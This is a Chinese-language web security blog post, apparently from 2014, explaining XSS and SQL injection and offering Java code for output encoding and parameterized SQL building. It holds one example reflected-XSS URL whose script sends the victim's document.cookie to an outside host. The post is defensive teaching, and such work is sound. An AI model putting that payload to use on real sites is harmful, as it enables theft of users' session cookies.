WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案 - 牛奶、不加糖

标签: web 安全 xss | 发表时间:2014-09-19 21:11 | 作者:牛奶、不加糖
出处:

一、跨站脚本攻击(XSS)

跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害

  • 窃取cookie
  • 蠕虫
  • 钓鱼

     ...

跨站脚本攻击的分类

  • 存储型XSS
  • 反射型XSS
  • DOM型XSS

 

 

XSS案例分析

1)反射型XSS

 

XSS攻击者通过构造URL的方式构造了一个有问题的页面;当其他人点击了此页面后,会发现页面出错,或者被暗中执行了某些js脚本,这时,攻击行为才真正生效。

一般来说,动态页面中会将url中的部分内容回写在页面中。以如下为例:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>

参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script,当被请求到的时候会执行,并弹出对话框提示用户。如果是其他恶意代码,则可能造成破坏。

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

如何防御?

对需要的参数进行过滤,请看如下XSS过滤代码

import java.net.URLEncoder;

/**
* 过滤非法字符工具类
*
*/
public class EncodeFilter {

//过滤大部分html字符
public static String encode(String input) {
if (input == null) {
return input;
}
StringBuilder sb = new StringBuilder(input.length());
for (int i = 0, c = input.length(); i < c; i++) {
char ch = input.charAt(i);
switch (ch) {
case '&': sb.append("&amp;");
break;
case '<': sb.append("&lt;");
break;
case '>': sb.append("&gt;");
break;
case '"': sb.append("&quot;");
break;
case '\'': sb.append("&#x27;");
break;
case '/': sb.append("&#x2F;");
break;
default: sb.append(ch);
}
}
return sb.toString();
}

//js端过滤
public static String encodeForJS(String input) {
if (input == null) {
return input;
}

StringBuilder sb = new StringBuilder(input.length());

for (int i = 0, c = input.length(); i < c; i++) {
char ch = input.charAt(i);

// do not encode alphanumeric characters and ',' '.' '_'
if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
ch >= '0' && ch <= '9' ||
ch == ',' || ch == '.' || ch == '_') {
sb.append(ch);
} else {
String temp = Integer.toHexString(ch);

// encode up to 256 with \\xHH
if (ch < 256) {
sb.append('\\').append('x');
if (temp.length() == 1) {
sb.append('0');
}
sb.append(temp.toLowerCase());

// otherwise encode with \\uHHHH
} else {
sb.append('\\').append('u');
for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
sb.append('0');
}
sb.append(temp.toUpperCase());
}
}
}

return sb.toString();
}

/**
* css非法字符过滤
* http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
*/
public static String encodeForCSS(String input) {
if (input == null) {
return input;
}

StringBuilder sb = new StringBuilder(input.length());

for (int i = 0, c = input.length(); i < c; i++) {
char ch = input.charAt(i);

// check for alphanumeric characters
if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||
ch >= '0' && ch <= '9') {
sb.append(ch);
} else {
// return the hex and end in whitespace to terminate
sb.append('\\').append(Integer.toHexString(ch)).append(' ');
}
}
return sb.toString();
}

/**
* URL参数编码
* http://en.wikipedia.org/wiki/Percent-encoding
*/
public static String encodeURIComponent(String input) {
return encodeURIComponent(input, "utf-8");
}

public static String encodeURIComponent(String input, String encoding) {
if (input == null) {
return input;
}
String result;
try {
result = URLEncoder.encode(input, encoding);
} catch (Exception e) {
result = "";
}
return result;
}

public static boolean isValidURL(String input) {
if (input == null || input.length() < 8) {
return false;
}
char ch0 = input.charAt(0);
if (ch0 == 'h') {
if (input.charAt(1) == 't' &&
input.charAt(2) == 't' &&
input.charAt(3) == 'p') {
char ch4 = input.charAt(4);
if (ch4 == ':') {
if (input.charAt(5) == '/' &&
input.charAt(6) == '/') {

return isValidURLChar(input, 7);
} else {
return false;
}
} else if (ch4 == 's') {
if (input.charAt(5) == ':' &&
input.charAt(6) == '/' &&
input.charAt(7) == '/') {

return isValidURLChar(input, 8);
} else {
return false;
}
} else {
return false;
}
} else {
return false;
}

} else if (ch0 == 'f') {
if( input.charAt(1) == 't' &&
input.charAt(2) == 'p' &&
input.charAt(3) == ':' &&
input.charAt(4) == '/' &&
input.charAt(5) == '/') {

return isValidURLChar(input, 6);
} else {
return false;
}
}
return false;
}

static boolean isValidURLChar(String url, int start) {
for (int i = start, c = url.length(); i < c; i ++) {
char ch = url.charAt(i);
if (ch == '"' || ch == '\'') {
return false;
}
}
return true;
}

}

 

 

SQL注入漏洞

SQL注入攻击的原理

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考: SQL注入攻防入门详解

防御方法

  • 使用预编译语句,
  • 绑定变量
  • 使用安全的存储过程
  • 检查数据类型
  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,

下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

 

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class SqlBuilder {
protected StringBuilder sqlBuf = new StringBuilder();
protected List<Object> values = new ArrayList<Object>();
protected Map<String, Object> paramMap = new HashMap<String, Object>();

public SqlBuilder appendSql(String sql) {
sqlBuf.append(sql);
return this;
}

public SqlBuilder appendValue(Object value) {
sqlBuf.append('?');
values.add(value);
return this;
}

public SqlBuilder appendValues(Object[] values) {
sqlBuf.append('(');
for (int i = 0, c = values.length; i < c; ++i) {
sqlBuf.append('?').append(',');
this.values.add(values[i]);
}
int last = sqlBuf.length() - 1;
if (last > 0 && sqlBuf.charAt(last) == ',') {
sqlBuf.setCharAt(last, ')');
}
return this;
}

public SqlBuilder appendEqParam(String param, Object value) {
sqlBuf.append(param).append(" = :").append(param);
paramMap.put(param, value);
return this;
}

public SqlBuilder appendLtParam(String param, Object value) {
sqlBuf.append(param).append(" < :").append(param);
paramMap.put(param, value);
return this;
}

public SqlBuilder appendGtParam(String param, Object value) {
sqlBuf.append(param).append(" > :").append(param);
paramMap.put(param, value);
return this;
}

public SqlBuilder appendInParam(String param, Object ... values) {
if(values == null) {
return this;
}
sqlBuf.append(param).append(" in (");
int len = values.length;
for(int i = 0; i < len; i++) {
if(i != 0) {
sqlBuf.append(", ");
}
sqlBuf.append(":").append(param).append(i);
paramMap.put(param+i, values[i]);
}
sqlBuf.append(")");
return this;
}

public SqlBuilder appendLikeParam(String param, Object value) {
sqlBuf.append(param).append(" like :").append(param);
paramMap.put(param, "%"+value+"%");
return this;
}

public String getSql() {
return sqlBuf.toString();
}

public Object[] getValues() {
return values.toArray();
}

public Map<String, Object> getParamMap() {
return paramMap;
}
}

 

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!


本文链接: WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案,转载请注明。

相关 [web 安全 xss] 推荐:

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案 - 牛奶、不加糖

- - 博客园_首页
一、跨站脚本攻击(XSS). XSS又叫CSS (Cross Site Script) ,跨站脚本攻击. 它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. XSS攻击者通过构造URL的方式构造了一个有问题的页面;当其他人点击了此页面后,会发现页面出错,或者被暗中执行了某些js脚本,这时,攻击行为才真正生效.

安全隐患名录-Web

- - Onlycjeg's Blog
[0day储藏室出品]安全隐患名录-Web. 本文档是基于OWASP TOP 10写成,描述了OWASP TOP 10中所讲到的风险并对其进行风险等级鉴定,漏洞描述,漏洞危害,测试方法,测试过程对系统的影响以及修复方法. 在做项目的过程中,我们所面对的更多的是生产系统,并不是所有的企业都存在测试服务器.

深掘XSS漏洞场景之XSS Rootkit

- jyf1987 - 80sec
深掘XSS漏洞场景之XSS Rootkit[完整修订版]. 众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议. XSS漏洞类型主要分为持久型和非持久型两种:. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存.

XSS 探索 - big-brother

- - 博客园_首页
正常的页面被渗出了攻击者的js脚本,这些脚本可以非法地获取用户信息,然后将信息发送到attacked的服务端. XSS是需要充分利用输出环境来构造攻击脚本的. 非法获取用户cookie、ip等内容. 劫持浏览器,形成DDOS攻击. Reflected XSS:可以理解为参数型XSS攻击,攻击的切入点是url后面的参数.

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

Web开发框架安全杂谈

- goodman - 80sec
最近框架漏洞频发,struts任意代码执行、Django csrf token防御绕过、Cakephp代码执行等等各大语言编程框架都相继暴出高危漏洞,这说明对于编程框架的安全问题已经逐渐走入安全工作者的视线. Web开发框架就相当于web应用程序的操作系统,他决定了一个应用程序的模型结构和编程风格.

[转][转]浅谈php web安全

- - heiyeluren的Blog
来源: http://www.phpben.com/?post=79. 首先,笔记不是web安全的专家,所以这不是web安全方面专家级文章,而是学习笔记、细心总结文章,里面有些是我们phper不易发现或者说不重视的东西. 在大公司肯定有专门的web安全测试员,安全方面不是phper考虑的范围. 但是作为一个phper对于安全知识是:“ 知道有这么一回事,编程时自然有所注意”.

华为内部的Web安全原则

- - 服务器运维与网站架构|Linux运维|X研究
Web安全原则 1.认证模块必须采用防暴力破解机制,例如:验证码或者多次连续尝试登录失败后锁定帐号或IP. 说明:如采用多次连续尝试登录失败后锁定帐号或IP的方式,需支持连续登录失败锁定策略的“允许连续失败的次数”可配置,支持在锁定时间超时后自动解锁. 2.对于每一个需要授权访问的页面或servlet的请求都必须核实用户的会话标识是否合法、用户是否被授权执行这个操作,以防止URL越权.

Web安全扫描器Netsparker v3.5发布

- - FreeBuf.COM
‍‍Netsparker是一款综合型的web应用安全漏洞扫描工具,它分为专业版和免费版,免费版的功能也比较强大. Netsparker与其他综合 性的web应用安全扫描工具相比的一个特点是它能够更好的检测SQL Injection和 Cross-site Scripting类型的安全漏洞. * DOM跨站脚本漏洞检测 * 基于Chrome浏览器的Dom解析 * URL重写规则 * 可晒出某些不必要的扫描结果.

从“黑掉Github”学Web安全开发

- - 酷 壳 - CoolShell.cn
Egor Homakov(Twitter:  @homakov 个人网站:  EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《 How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路.